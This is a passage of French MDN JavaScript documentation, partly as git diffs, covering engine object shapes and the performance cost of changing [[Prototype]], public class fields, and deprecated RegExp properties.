Dans cet exemple, chaque Landmark possède les propriétés location et description, dans cet ordre. Chaque objet location représentant l'emplacement enregistrera la latitude puis la longitude, dans cet ordre. Le code qui suit pourrait supprimer une propriété mais comme c'est peu probable, les moteurs peuvent être amenés à produire du code non optimal pour ces cas de figure. Pour SpiderMonkey, le moteur JavaScript de Firefox, l'ordre spécifique des propriétés (et de certains de leurs aspects en dehors de leurs valeurs) est appelé une forme (le moteur V8, utilisé par Chrome, intitule ce concept structure ID). Si deux objets partagent la même forme, leurs propriétés seront stockées de façon identique.

- -

À l'intérieur des moteurs, on retrouve donc une version C++ semblable à celle-ci (simplifiée ici) :

- -
struct Property {
-  Property* prev;     // null si c'est la première propriété
-  String name;        // le nom de la propriété
-  unsigned int index; // l'index de la valeur dans le stockage
-};
-using Shape = Property*;
-struct Object {
-  Shape shape;
-  Value* properties;
-  Object* prototype;
-};
- -

Avec ces exemples, voici à quoi correspondraient diverses expressions JavaScript basées sur le code ci-dessus, une fois traduites en C++ :

- -
lm1->properties[0]; // loc1.location
-lm1->properties[1]; // loc1.description
-lm2->properties[0].toObject()->properties[1]; // loc2.location.long
- -

Si un moteur connaît la forme d'un objet, il pourra présupposer la position des index pour toutes les propriétés de l'objet. Ainsi, quand on souhaite accéder à une propriété donnée, il suffit de quelques accès indirects par pointeur. Le code machine peut facilement vérifier si un objet a une forme donnée. Si c'est le cas, on utilisera la version rapide et sinon on utilisera la méthode lente.

- -

L'optimisation naïve des propriétés héritées

- -

La plupart des propriétés ne sont pas rattachées directement aux objets. Il faut souvent passer par la chaîne de prototypes. On ajoute donc quelques « sauts » via le champ prototype pour atterrir sur l'objet qui contient la propriété. Pour obtenir une optimisation correcte, il faut vérifier qu'aucun objet de la chaîne de prototypes n'a cette propriété. Autrement dit, à chaque saut, il faut vérifier la forme de l'objet.

- -
var d = new Date();
-d.toDateString(); // Date.prototype.toDateString
-
-function Pair(x, y) { this.x = x; this.y = y; }
-Pair.prototype.sum = function() { return this.x + this.y; };
-
-var p = new Pair(3, 7);
-p.sum(); // Pair.prototype.sum
- -

Dans la plupart des cas, les moteurs utilisent cette approche rapide. Toutefois, lorsque les performances jouent un rôle déterminant, cette approche n'est pas suffisante.

- -

L'optimisation intelligente des propriétés héritées

- -

Lors des accès prédictibles, on trouve généralement la propriété en un nombre constant de sauts le long de la chaîne. Les objets de chaîne n'acquièrent généralement pas de nouvelle propriétés et l'objet final n'est généralement pas affecté par une suppression de propriétés. Enfin, la modification de [[Prototype]] est rare.  Ces hypothèses sont nécessaires pour éviter de « sauter » sur chacun des prototypes. Les différents moteurs optent pour différentes approches afin d'optimiser les propriétés héritées de façon intelligente.

- -
-
La forme de l'objet final qui contient la propriété héritée peut être vérifiée.
-
Dans ce cas, si on teste les formes, cela implique qu'aucun prototype n'a été modifié sur la chaîne. Ainsi, lorsqu'un prototype est modifié, les formes de tous les objets situés sur le long de la chaîne doivent être changées.
-
- 
var obj1 = {};
-var obj2 = Object.create(obj1);
-var obj3 = Object.create(obj2);
-
-// Les objets dont la forme va changer
-// obj3, obj2, obj1, Object.prototype
-obj3.__proto__ = {};
-
-
La forme de l'objet initial peut être vérifiée.
-
Chaque objet qui peut hériter d'une propriété via un prototype modifié doit être modifié afin de refléter ces changements.
-
- 
var obj1 = {};
-var obj2 = Object.create(obj1);
-var obj3 = Object.create(obj2);
-
-// Les objets dont la forme va changer
-// obj1, obj2, obj3
-obj1.__proto__ = {};
-
-
- -

Les effets néfastes de la modification de [[Prototype]]

- -

Les changements de [[Prototype]] impactent les performances sur deux phases : lors du changement puis par la suite. Pour commencer, modifier [[Prototype]] est lent, ensuite modifier [[Prototype]] ralentit le code qui doit interagir avec les objets dont [[Prototype]] a été modifié.

- -

Modifier un [[Prototype]] prend du temps

- -

Bien que la spécification représente le changement de [[Prototype]] comme la simple modification d'une propriété cachée, les implémentations réelles sont beaucoup plus complexes. Les tactiques précédentes utilisant les formes nécessitent d'examiner (et de modifier) plus d'un objet. Dans la pratique, l'approche qui modifiera le moins d'objets sera différente en fonction de la charge provoquée par le cas d'usage.

- -

Les [[Prototype]]s modifiés ralentissent le code

- -

Les mauvaises nouvelles ne s'arrêtent une fois la modification terminée. De nombreuses opérations utilisées pour examiner les propriétés reposent sur l'hypothèse de conservation de la chaîne de [[Prototype]]. Lorsque le moteur observe une modification, l'objet avec le prototype modifié « empoisonne » tout le code qui manipule cet objet. Voici un cas d'école assez désastreux :

- -
var obj = {};
-obj.__proto__ = { x: 3 }; // modification gratuite
-
-var arr = [obj];
-for (var i = 0; i < 5; i++)
-  arr.push({ x: i });
-
-function f(v, i) {
-  var elt = v[i];
-  var r =  elt.x > 2 // non optimal
-           ? elt
-           : { x: elt.x + 1 };
-  return r;
-}
-var c = f(arr, 0);
-c.x; // non optimal : la valeur a des propriétés inconnues
-c = f(arr, 1);
-c.x; // non optimal !
-
-var arr2 = [c];
-arr2[0].x; // non optimal
-
- -

Seul le code exécuté à de nombreuses reprises est optimisé et cet exemple ne déclenche pas tous ces comportements. En revanche pour du code « chaud », on pourrait rencontrer ces problèmes.

- -

Pouvoir tracer l'utilisation d'un objet dont le prototype a été modifié, souvent parmi différents scripts, est extraordinairement complexe. Cela nécessite une analyse textuelle soignée et dépend des comportements à l'exécution. Des modifications indépendentes en apparence peuvent avoir des impacts bien plus loin et le code employé, auparavant optimal, sera alors sous-optimal et plus lent.

- -

Il faudrait sinon pouvoir stocker des informations cross-objet.

- -

Les informations cross-objet sont différentes des formes et on ne peut pas les vérifier simplement. Une modification apportée à cette information pourrait avoir des impacts à de nombreux emplacements, pas nécessairement évidents : dans ce cas, où vérifier que les hypothèses sont respectées ? Ainsi, plutôt que de vérifier ces hypothèses avant l'utilisation, on invalide toutes les hypothèses lorsqu'une modification se produit. Lorsque [[Prototype]] change, tout le code qui en dépend doit être rejeté.  L'opération obj.__proto__ = ... est donc lente par nature. En rejetant du code optimisé, cela rend le code beaucoup plus lent par la suite.

- -

Encore pire, lorsqu'on évalue obj.prop, le moteur voit que l'objet a eu son [[Prototype]] changé et les informations précédemment enregistrées à propos de l'objet deviennent inutiles et SpiderMonkey considère que l'objet possède des caractéristiques inconnues. Ainsi, tout code qui manipule cet objet par la suite prendra l'hypothèse correspondant au pire des cas. L'optimisation des moteurs de compilation à la volée fonctionnent sur l'hypothèse que l'exécution à venir est similaire à l'exécution passée. Si du code observe un objet avec un [[Prototype]] modifié, ce code observera vraisemblablement d'autres objets. C'est pourquoi, toutes les opérations qui intéragissent avec un objet dont le [[Prototype]] a changé, ne peuvent pas être optimisées.

diff --git a/files/fr/web/javascript/reference/a_propos/index.html b/files/fr/web/javascript/reference/a_propos/index.html deleted file mode 100644 index 21628cac8b..0000000000 --- a/files/fr/web/javascript/reference/a_propos/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: À propos de cette référence -slug: Web/JavaScript/Reference/A_propos -tags: - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/About ---- -
{{JsSidebar}}
- -

La référence JavaScript regroupe les différentes notions autour du langage JavaScript. L'ensemble du langage y est détaillé. Si vous développez une application JavaScript, vous pourrez utiliser ces différentes pages (d'où le titre de « référence »). Si vous apprenez JavaScript ou que vous souhaitez comprendre comment fonctionnent certains de ses composants, vous pouvez lire le Guide JavaScript.

- -

Le langage JavaScript a été conçu pour être utilisé dans un environnement dans lequel il s'intègre : un navigateur, des scripts côté serveur, etc. De façon générale, cette référence ne cible pas un environnement en particulier et tente de rester le plus « agnostique » possible.

- -

Où trouver des informations sur JavaScript

- -

La documentation JavaScript sur les fonctionnalités essentielles du langage (qui correspondent à ECMAScript pour la plupart) se trouve dans les sections suivantes :

- - - -

Si vous découvrez JavaScript, vous pouvez débuter votre lecture avec le guide. Une fois les fondamentaux acquis, vous pourrez utiliser la référence pour obtenir plus d'informations sur les différents objets et éléments du langage.

- -

Structure de cette référence

- -

La référence JavaScript s'organise autour de différents chapitres :

- -
-
Les objets natifs standards
-
Ce chapitre aborde l'ensemble des objets natifs standards JavaScript, ainsi que leurs méthodes et propriétés.
-
Les instructions et déclarations
-
Les applications JavaScript sont composées d'instructions organisées grâce à une syntaxe. Une instruction peut s'étaler sur plusieurs lignes et plusieurs instructions peuvent être présentes sur une ligne si elles sont séparées par des points-virugles.
-
Les expressions et opérateurs
-
Ce chapitre traite des opérateurs présents en JavaScript ainsi que des expressions et des mots-clés du langage.
-
Les fonctions
-
Ce chapitre aborde les concepts sur les fonctions en JavaScript.
-
Les classes
-
Ce chapitre présente les classes, un sucre syntaxique pour les objets ajouté avec ECMAScript 2015.
-
Les erreurs
-
Un chapitre sur les erreurs, les exceptions et les avertissements utilisées en JavaScript.
-
Les nouveautés en JavaScript
-
Ce chapitre aborde les différentes versions de JavaScript et les changements qui ont eu lieu.
-
- -

D'autres pages de la référence

- - diff --git a/files/fr/web/javascript/reference/about/index.html b/files/fr/web/javascript/reference/about/index.html new file mode 100644 index 0000000000..21628cac8b --- /dev/null +++ b/files/fr/web/javascript/reference/about/index.html @@ -0,0 +1,53 @@ +--- +title: À propos de cette référence +slug: Web/JavaScript/Reference/A_propos +tags: + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/About +--- +
{{JsSidebar}}
+ +

La référence JavaScript regroupe les différentes notions autour du langage JavaScript. L'ensemble du langage y est détaillé. Si vous développez une application JavaScript, vous pourrez utiliser ces différentes pages (d'où le titre de « référence »). Si vous apprenez JavaScript ou que vous souhaitez comprendre comment fonctionnent certains de ses composants, vous pouvez lire le Guide JavaScript.

+ +

Le langage JavaScript a été conçu pour être utilisé dans un environnement dans lequel il s'intègre : un navigateur, des scripts côté serveur, etc. De façon générale, cette référence ne cible pas un environnement en particulier et tente de rester le plus « agnostique » possible.

+ +

Où trouver des informations sur JavaScript

+ +

La documentation JavaScript sur les fonctionnalités essentielles du langage (qui correspondent à ECMAScript pour la plupart) se trouve dans les sections suivantes :

+ + + +

Si vous découvrez JavaScript, vous pouvez débuter votre lecture avec le guide. Une fois les fondamentaux acquis, vous pourrez utiliser la référence pour obtenir plus d'informations sur les différents objets et éléments du langage.

+ +

Structure de cette référence

+ +

La référence JavaScript s'organise autour de différents chapitres :

+ +
+
Les objets natifs standards
+
Ce chapitre aborde l'ensemble des objets natifs standards JavaScript, ainsi que leurs méthodes et propriétés.
+
Les instructions et déclarations
+
Les applications JavaScript sont composées d'instructions organisées grâce à une syntaxe. Une instruction peut s'étaler sur plusieurs lignes et plusieurs instructions peuvent être présentes sur une ligne si elles sont séparées par des points-virugles.
+
Les expressions et opérateurs
+
Ce chapitre traite des opérateurs présents en JavaScript ainsi que des expressions et des mots-clés du langage.
+
Les fonctions
+
Ce chapitre aborde les concepts sur les fonctions en JavaScript.
+
Les classes
+
Ce chapitre présente les classes, un sucre syntaxique pour les objets ajouté avec ECMAScript 2015.
+
Les erreurs
+
Un chapitre sur les erreurs, les exceptions et les avertissements utilisées en JavaScript.
+
Les nouveautés en JavaScript
+
Ce chapitre aborde les différentes versions de JavaScript et les changements qui ont eu lieu.
+
+ +

D'autres pages de la référence

+ + diff --git a/files/fr/web/javascript/reference/classes/class_fields/index.html b/files/fr/web/javascript/reference/classes/class_fields/index.html deleted file mode 100644 index 24e654a85a..0000000000 --- a/files/fr/web/javascript/reference/classes/class_fields/index.html +++ /dev/null @@ -1,266 +0,0 @@ ---- -title: Champs de classe publics -slug: Web/JavaScript/Reference/Classes/Class_fields -tags: - - Classes - - Fonctionnalité du langage - - JavaScript -translation_of: Web/JavaScript/Reference/Classes/Public_class_fields ---- -
{{JsSidebar("Classes")}}{{SeeCompatTable}}
- -
-

Cette page décrit des fonctionnalités expérimentales.

- -

Les déclarations de champs, tant publics que privés, sont une fonctionnalité expérimentale (étape 3) proposée au TC39, le comité des standards JavaScript.

- -

La prise en charge dans les navigateurs est limitée, mais cette fonctionnalité peut être utilisée à travers une étape de contruction avec des systèmes tels que Babel. Voir l'information de compatibilité ci-dessous.

-
- -

Les champs publics, tant statiques que d'instance, sont des propriétés qui peuvent être écrites, et qui sont énumérables et configurables. En tant que telles, à la différence de leurs contreparties privées, elles participent à l'héritage du prototype.

- -

Syntaxe

- -
class ClasseAvecChampDInstance {
-  champDInstance = 'champ d\'instance'
-}
-
-class ClasseAvecChampStatique {
-  static champStatique = 'champ statique'
-}
-
-class ClasseAvecMethodeDInstancePublique {
-  methodePublique() {
-    return 'hello world'
-  }
-}
-
- -

Exemples

- -

Champs statiques publics

- -

Les champs statiques publics sont utiles lorsque vous voulez qu'un champ n'existe qu'une seule fois par classe, pas dans chaque instance que vous créez. Cela est utile pour des caches, une configuration fixe, ou tout autres données dont vous n'avez pas besoin qu'elles soient répliquées à travers les instances.

- -

Les champs statiques publics sont déclarés en utilisant le mot-clé static. Ils sont ajoutés au constructeur de la classe au moment de l'évaluation de la classe en utilisant {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. On y accède à nouveau à partir du constructeur de la classe.

- -
class ClasseAvecChampStatique {
-  static champStatique = 'champ statique'
-}
-
-console.log(ClasseAvecChampStatique.champStatique)
-// affichage attendu : "champ statique"​
-
- -

Les champs sans initialiseur sont initialisés à undefined.

- -
class ClasseAvecChampStatique {
-  static champStatique
-}
-
-console.assert(ClasseAvecChampStatique.hasOwnProperty('champStatique'))
-console.log(ClasseAvecChampStatique.champStatique)
-// affichage attendu : "undefined"
- -

Les champs statiques publics ne sont pas réinitialisés dans les sous-classes, mais on peut y accéder via la chaîne de prototypes.

- -
class ClasseAvecChampStatique {
-  static champStatiqueDeBase = 'champ de base'
-}
-
-class SousClasseAvecChampStatique extends ClasseAvecChampStatique {
-  static sousChampStatique = 'champ de la sous-classe'
-}
-
-console.log(SousClasseAvecChampStatique.sousChampStatique)
-// affichage attendu : "champ de la sous-classe"
-
-console.log(SousClasseAvecChampStatique.champStatiqueDeBase)
-// affichage attendu : "champ de base"
- -

Lors de l'initialisation des champs, this fait référence au constructeur de la classe. Vous pouvez aussi le référencer par son nom, et utiliser super pour obtenir le constructeur de la superclasse (s'il en existe un) :

- -
class ClasseAvecChampStatique {
-  static champStatiqueDeBase = 'champ statique de base'
-  static autreChampStatiqueDeBase = this.champStatiqueDeBase
-
-  static methodeStatiqueDeBase() { return 'affichage de la méthode statique de base' }
-}
-
-class SousClasseAvecChampStatique extends ClasseAvecChampStatique {
-  static sousChampStatique = super.methodeStatiqueDeBase()
-}
-
-console.log(ClasseAvecChampStatique.autreChampStatiqueDeBase)
-// affichage attendu : "champ statique de base"
-
-console.log(SousClasseAvecChampStatique.sousChampStatique)
-// affichage attendu : "affichage de la méthode statique de base"
-
- -

Champs d'instance publics

- -

Les champs d'instance publics existent dans chaque instance créée d'une classe. En déclarant un champ public, vous pouvez vous assurer que le champ est toujours présent, et que la définition de la classe est davantage auto-documentée.

- -

Les champs d'instance publics sont ajoutés grâce à {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}, soit au moment de la construction dans la classe de base (avant que le corps du constructeur ne soit exécuté), soit juste après le retour de super() dans une sous-classe.

- -
class ClasseAvecChampDInstance {
-  champDInstance = 'champ d\'instance'
-}
-
-const instance = new ClasseAvecChampDInstance()
-console.log(instance.champDInstance)
-// affichage attendu : "champ d'instance"
- -

Les champs sans initialiseur sont initialisés à undefined.

- -
class ClasseAvecChampDInstance {
-  champdDInstance
-}
-
-const instance = new ClasseAvecChampDInstance()
-console.assert(instance.hasOwnProperty('champDInstance'))
-console.log(instance.champDInstance);
-// affichage attendu : "undefined"
- -

À l'instar des propriétés, les noms de champ peuvent être calculés :

- -
const PREFIXE = 'prefixe';
-
-class ClasseAvecNomDeChampCalcule {
-    [`${PREFIXE}Champ`] = 'champ préfixé'
-}
-
-const instance = new ClasseAvecNomDeChampCalcule()
-console.log(instance.prefixeChamp)
-// affichage attendu : "champ préfixé"
- -

Lors de l'initialisation des champs, this fait référence à l'instance en cours de construction. Tout comme dans les méthodes d'instance publiques, si vous êtes dans une sous-classe, vous pouvez accéder au prototype de la superclasse en utilisant super.

- -
class ClasseAvecChampDInstance {
-  champDInstanceDeBase = 'champ de base'
-  autreChampDInstanceDeBase = this.champDInstanceDeBase
-  methodeDInstanceDeBase() { return 'affichage de la méthode de base' }
-}
-
-class SousClasseAvecChampDInstance extends ClasseAvecChampDInstance {
-  sousChampDInstance = super.methodeDInstanceDeBase()
-}
-
-const base = new ClasseAvecChampDInstance()
-const sous = new SousClasseAvecChampDInstance()
-
-console.log(base.autreChampDInstanceDeBase)
-// affichage attendu : "champ de base"
-
-console.log(sous.sousChampDInstance)
-// affichage attendu : "affichage de la méthode de base"
- -

Méthodes publiques

- -

Méthodes statiques publiques

- -

Le mot-clé static définit une méthode statique pour une classe. Les méthodes statiques ne sont pas appelées dans les instances de la classe. A la place, elles le sont dans la classe elle-même. Ce sont souvent des méthodes utilitaires, comme des fonctions pour créer ou cloner des objets.

- -
class ClasseAvecMethodeStatique {
-  static methodeStatique() {
-    return 'la méthode statique a été appelée.';
-  }
-}
-
-console.log(ClasseAvecMethodeStatique.methodeStatique());
-// affichage attendu : "la méthode statique a été appelée."
- -

Les méthodes statiques sont ajoutées au constructeur de la classe grâce à {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} au moment de l'évaluation de la classe. Ces méthodes peuvent être écrites, ne sont pas énumérables et sont configurables.

- -

Méthodes d'instance publiques

- -

Comme leur nom l'implique, les méthodes d'instance publiques sont des fonctions disponibles dans les instances de la classe.

- -
class ClasseAvecMethodeDInstancePublique {
-  methodePublique() {
-    return 'hello world'
-  }
-}
-
-const instance = new ClasseAvecMethodeDInstancePublique()
-console.log(instance.methodePublique())
-// affichage attendu : "hello worl​d"
- -

Les méthodes d'instance publiques sont ajoutées au prototype au moment de l'évaluation de la classe en utilisant {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. Elles peuvent être écrites, ne sont pas énumérables et sont configurables.

- -

Vous pouvez utiliser des fonctions génératrices, asynchrones et génératrices asynchrones.

- -
class ClasseAvecMethodesFantaisie {
-  *methodeGeneratrice() { }
-  async methodeAsynchrone() { }
-  async *methodeGeneratriceAsynchrone() { }
-}
- -

A l'intérieur des méthodes d'instance, this fait référence à l'instance elle-même. Dans les sous-classes, super vous donne accès au prototype de la superclasse, ce qui vous permet d'appeler les méthodes de la superclasse.

- -
class ClasseDeBase {
-  msg = 'hello world'
-  methodePubliqueDeBase() {
-    return this.msg
-  }
-}
-
-class SousClasse extends ClasseDeBase {
-  sousMethodePublique() {
-    return super.methodePubliqueDeBase()
-  }
-}
-
-const instance = new SousClasse()
-console.log(instance.sousMethodePublique())
-// affichage attendu : "hello worl​d"
-
- -

Les accesseurs et les mutateurs sont des méthodes spéciales qui sont liées à une propriété de classe, et sont appelées lorsqu'on accède à cette propriété ou qu'on la définit. Utilisez la syntaxe get et set pour déclarer un accesseur ou un mutateur publique d'une instance.

- -
class ClasseAvecGetSet {
-  #msg = 'hello world'
-  get msg() {
-    return this.#msg
-  }
-  set msg(x) {
-    this.#msg = `hello ${x}`
-  }
-}
-
-const instance = new ClasseAvecGetSet();
-console.log(instance.msg);
-// affichage attendu : "hello worl​d"
-
-instance.msg = 'gâteau';
-console.log(instance.msg);
-// affichage attendu : "hello gâteau"
-
- -

Spécifications

- - - - - - - - - - - - -
Spécification
{{SpecName('Public and private instance fields', '#prod-FieldDefinition', 'FieldDefinition')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.classes.public_class_fields")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/classes/public_class_fields/index.html b/files/fr/web/javascript/reference/classes/public_class_fields/index.html new file mode 100644 index 0000000000..24e654a85a --- /dev/null +++ b/files/fr/web/javascript/reference/classes/public_class_fields/index.html @@ -0,0 +1,266 @@ +--- +title: Champs de classe publics +slug: Web/JavaScript/Reference/Classes/Class_fields +tags: + - Classes + - Fonctionnalité du langage + - JavaScript +translation_of: Web/JavaScript/Reference/Classes/Public_class_fields +--- +
{{JsSidebar("Classes")}}{{SeeCompatTable}}
+ +
+

Cette page décrit des fonctionnalités expérimentales.

+ +

Les déclarations de champs, tant publics que privés, sont une fonctionnalité expérimentale (étape 3) proposée au TC39, le comité des standards JavaScript.

+ +

La prise en charge dans les navigateurs est limitée, mais cette fonctionnalité peut être utilisée à travers une étape de contruction avec des systèmes tels que Babel. Voir l'information de compatibilité ci-dessous.

+
+ +

Les champs publics, tant statiques que d'instance, sont des propriétés qui peuvent être écrites, et qui sont énumérables et configurables. En tant que telles, à la différence de leurs contreparties privées, elles participent à l'héritage du prototype.

+ +

Syntaxe

+ +
class ClasseAvecChampDInstance {
+  champDInstance = 'champ d\'instance'
+}
+
+class ClasseAvecChampStatique {
+  static champStatique = 'champ statique'
+}
+
+class ClasseAvecMethodeDInstancePublique {
+  methodePublique() {
+    return 'hello world'
+  }
+}
+
+ +

Exemples

+ +

Champs statiques publics

+ +

Les champs statiques publics sont utiles lorsque vous voulez qu'un champ n'existe qu'une seule fois par classe, pas dans chaque instance que vous créez. Cela est utile pour des caches, une configuration fixe, ou tout autres données dont vous n'avez pas besoin qu'elles soient répliquées à travers les instances.

+ +

Les champs statiques publics sont déclarés en utilisant le mot-clé static. Ils sont ajoutés au constructeur de la classe au moment de l'évaluation de la classe en utilisant {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. On y accède à nouveau à partir du constructeur de la classe.

+ +
class ClasseAvecChampStatique {
+  static champStatique = 'champ statique'
+}
+
+console.log(ClasseAvecChampStatique.champStatique)
+// affichage attendu : "champ statique"​
+
+ +

Les champs sans initialiseur sont initialisés à undefined.

+ +
class ClasseAvecChampStatique {
+  static champStatique
+}
+
+console.assert(ClasseAvecChampStatique.hasOwnProperty('champStatique'))
+console.log(ClasseAvecChampStatique.champStatique)
+// affichage attendu : "undefined"
+ +

Les champs statiques publics ne sont pas réinitialisés dans les sous-classes, mais on peut y accéder via la chaîne de prototypes.

+ +
class ClasseAvecChampStatique {
+  static champStatiqueDeBase = 'champ de base'
+}
+
+class SousClasseAvecChampStatique extends ClasseAvecChampStatique {
+  static sousChampStatique = 'champ de la sous-classe'
+}
+
+console.log(SousClasseAvecChampStatique.sousChampStatique)
+// affichage attendu : "champ de la sous-classe"
+
+console.log(SousClasseAvecChampStatique.champStatiqueDeBase)
+// affichage attendu : "champ de base"
+ +

Lors de l'initialisation des champs, this fait référence au constructeur de la classe. Vous pouvez aussi le référencer par son nom, et utiliser super pour obtenir le constructeur de la superclasse (s'il en existe un) :

+ +
class ClasseAvecChampStatique {
+  static champStatiqueDeBase = 'champ statique de base'
+  static autreChampStatiqueDeBase = this.champStatiqueDeBase
+
+  static methodeStatiqueDeBase() { return 'affichage de la méthode statique de base' }
+}
+
+class SousClasseAvecChampStatique extends ClasseAvecChampStatique {
+  static sousChampStatique = super.methodeStatiqueDeBase()
+}
+
+console.log(ClasseAvecChampStatique.autreChampStatiqueDeBase)
+// affichage attendu : "champ statique de base"
+
+console.log(SousClasseAvecChampStatique.sousChampStatique)
+// affichage attendu : "affichage de la méthode statique de base"
+
+ +

Champs d'instance publics

+ +

Les champs d'instance publics existent dans chaque instance créée d'une classe. En déclarant un champ public, vous pouvez vous assurer que le champ est toujours présent, et que la définition de la classe est davantage auto-documentée.

+ +

Les champs d'instance publics sont ajoutés grâce à {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}, soit au moment de la construction dans la classe de base (avant que le corps du constructeur ne soit exécuté), soit juste après le retour de super() dans une sous-classe.

+ +
class ClasseAvecChampDInstance {
+  champDInstance = 'champ d\'instance'
+}
+
+const instance = new ClasseAvecChampDInstance()
+console.log(instance.champDInstance)
+// affichage attendu : "champ d'instance"
+ +

Les champs sans initialiseur sont initialisés à undefined.

+ +
class ClasseAvecChampDInstance {
+  champdDInstance
+}
+
+const instance = new ClasseAvecChampDInstance()
+console.assert(instance.hasOwnProperty('champDInstance'))
+console.log(instance.champDInstance);
+// affichage attendu : "undefined"
+ +

À l'instar des propriétés, les noms de champ peuvent être calculés :

+ +
const PREFIXE = 'prefixe';
+
+class ClasseAvecNomDeChampCalcule {
+    [`${PREFIXE}Champ`] = 'champ préfixé'
+}
+
+const instance = new ClasseAvecNomDeChampCalcule()
+console.log(instance.prefixeChamp)
+// affichage attendu : "champ préfixé"
+ +

Lors de l'initialisation des champs, this fait référence à l'instance en cours de construction. Tout comme dans les méthodes d'instance publiques, si vous êtes dans une sous-classe, vous pouvez accéder au prototype de la superclasse en utilisant super.

+ +
class ClasseAvecChampDInstance {
+  champDInstanceDeBase = 'champ de base'
+  autreChampDInstanceDeBase = this.champDInstanceDeBase
+  methodeDInstanceDeBase() { return 'affichage de la méthode de base' }
+}
+
+class SousClasseAvecChampDInstance extends ClasseAvecChampDInstance {
+  sousChampDInstance = super.methodeDInstanceDeBase()
+}
+
+const base = new ClasseAvecChampDInstance()
+const sous = new SousClasseAvecChampDInstance()
+
+console.log(base.autreChampDInstanceDeBase)
+// affichage attendu : "champ de base"
+
+console.log(sous.sousChampDInstance)
+// affichage attendu : "affichage de la méthode de base"
+ +

Méthodes publiques

+ +

Méthodes statiques publiques

+ +

Le mot-clé static définit une méthode statique pour une classe. Les méthodes statiques ne sont pas appelées dans les instances de la classe. A la place, elles le sont dans la classe elle-même. Ce sont souvent des méthodes utilitaires, comme des fonctions pour créer ou cloner des objets.

+ +
class ClasseAvecMethodeStatique {
+  static methodeStatique() {
+    return 'la méthode statique a été appelée.';
+  }
+}
+
+console.log(ClasseAvecMethodeStatique.methodeStatique());
+// affichage attendu : "la méthode statique a été appelée."
+ +

Les méthodes statiques sont ajoutées au constructeur de la classe grâce à {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} au moment de l'évaluation de la classe. Ces méthodes peuvent être écrites, ne sont pas énumérables et sont configurables.

+ +

Méthodes d'instance publiques

+ +

Comme leur nom l'implique, les méthodes d'instance publiques sont des fonctions disponibles dans les instances de la classe.

+ +
class ClasseAvecMethodeDInstancePublique {
+  methodePublique() {
+    return 'hello world'
+  }
+}
+
+const instance = new ClasseAvecMethodeDInstancePublique()
+console.log(instance.methodePublique())
+// affichage attendu : "hello worl​d"
+ +

Les méthodes d'instance publiques sont ajoutées au prototype au moment de l'évaluation de la classe en utilisant {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. Elles peuvent être écrites, ne sont pas énumérables et sont configurables.

+ +

Vous pouvez utiliser des fonctions génératrices, asynchrones et génératrices asynchrones.

+ +
class ClasseAvecMethodesFantaisie {
+  *methodeGeneratrice() { }
+  async methodeAsynchrone() { }
+  async *methodeGeneratriceAsynchrone() { }
+}
+ +

A l'intérieur des méthodes d'instance, this fait référence à l'instance elle-même. Dans les sous-classes, super vous donne accès au prototype de la superclasse, ce qui vous permet d'appeler les méthodes de la superclasse.

+ +
class ClasseDeBase {
+  msg = 'hello world'
+  methodePubliqueDeBase() {
+    return this.msg
+  }
+}
+
+class SousClasse extends ClasseDeBase {
+  sousMethodePublique() {
+    return super.methodePubliqueDeBase()
+  }
+}
+
+const instance = new SousClasse()
+console.log(instance.sousMethodePublique())
+// affichage attendu : "hello worl​d"
+
+ +

Les accesseurs et les mutateurs sont des méthodes spéciales qui sont liées à une propriété de classe, et sont appelées lorsqu'on accède à cette propriété ou qu'on la définit. Utilisez la syntaxe get et set pour déclarer un accesseur ou un mutateur publique d'une instance.

+ +
class ClasseAvecGetSet {
+  #msg = 'hello world'
+  get msg() {
+    return this.#msg
+  }
+  set msg(x) {
+    this.#msg = `hello ${x}`
+  }
+}
+
+const instance = new ClasseAvecGetSet();
+console.log(instance.msg);
+// affichage attendu : "hello worl​d"
+
+instance.msg = 'gâteau';
+console.log(instance.msg);
+// affichage attendu : "hello gâteau"
+
+ +

Spécifications

+ + + + + + + + + + + + +
Spécification
{{SpecName('Public and private instance fields', '#prod-FieldDefinition', 'FieldDefinition')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.classes.public_class_fields")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/deprecated_and_obsolete_features/index.html b/files/fr/web/javascript/reference/deprecated_and_obsolete_features/index.html new file mode 100644 index 0000000000..8d47b5dc35 --- /dev/null +++ b/files/fr/web/javascript/reference/deprecated_and_obsolete_features/index.html @@ -0,0 +1,292 @@ +--- +title: Fonctionnalités dépréciées +slug: JavaScript/Reference/Annexes/Fonctionnalités_dépréciées +tags: + - Deprecated + - JavaScript + - Obsolete + - Reference +translation_of: Web/JavaScript/Reference/Deprecated_and_obsolete_features +--- +
{{JsSidebar("More")}}
+ +

Cette page liste les fonctionnalités de JavaScript qui sont dépréciées (deprecated) (c'est-à-dire que ces fonctionnalités sont toujours disponibles mais qu'il est prévu de les retirer) et les fonctionnalités obsolètes (celles qui ne sont plus utilisables).

+ +

Fonctionnalités dépréciées

+ +

Ces fonctionnalités dépréciées peuvent toujours être utilisées mais avec une grande attention car elles pourront être supprimées complètements à l'avenir. En règle général, il faut les retirer du code qui les utilise.

+ +

Propriétés de RegExp

+ +

Les propriétés suivantes sont dépréciées. Cela n'affecte pas le comportement de {{jsxref("Objets_globaux/String/replace", "replace", "Specifying_a_string_as_a_parameter")}} lorsqu'on utilise une chaîne de caractères en paramètre de remplacement :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéDescription
{{jsxref("RegExp.n", "$1-$9")}} +

Les sous-chaînes correspondantes s'il y en a.
+ Attention : Utiliser ces propriétés peut causer certains problèmes car les extensions des navigateurs peuvent les modifier. À éviter !

+
{{jsxref("RegExp.input", "$_")}}Voir input.
{{jsxref("RegExp.multiline", "$*")}}Voir multiline.
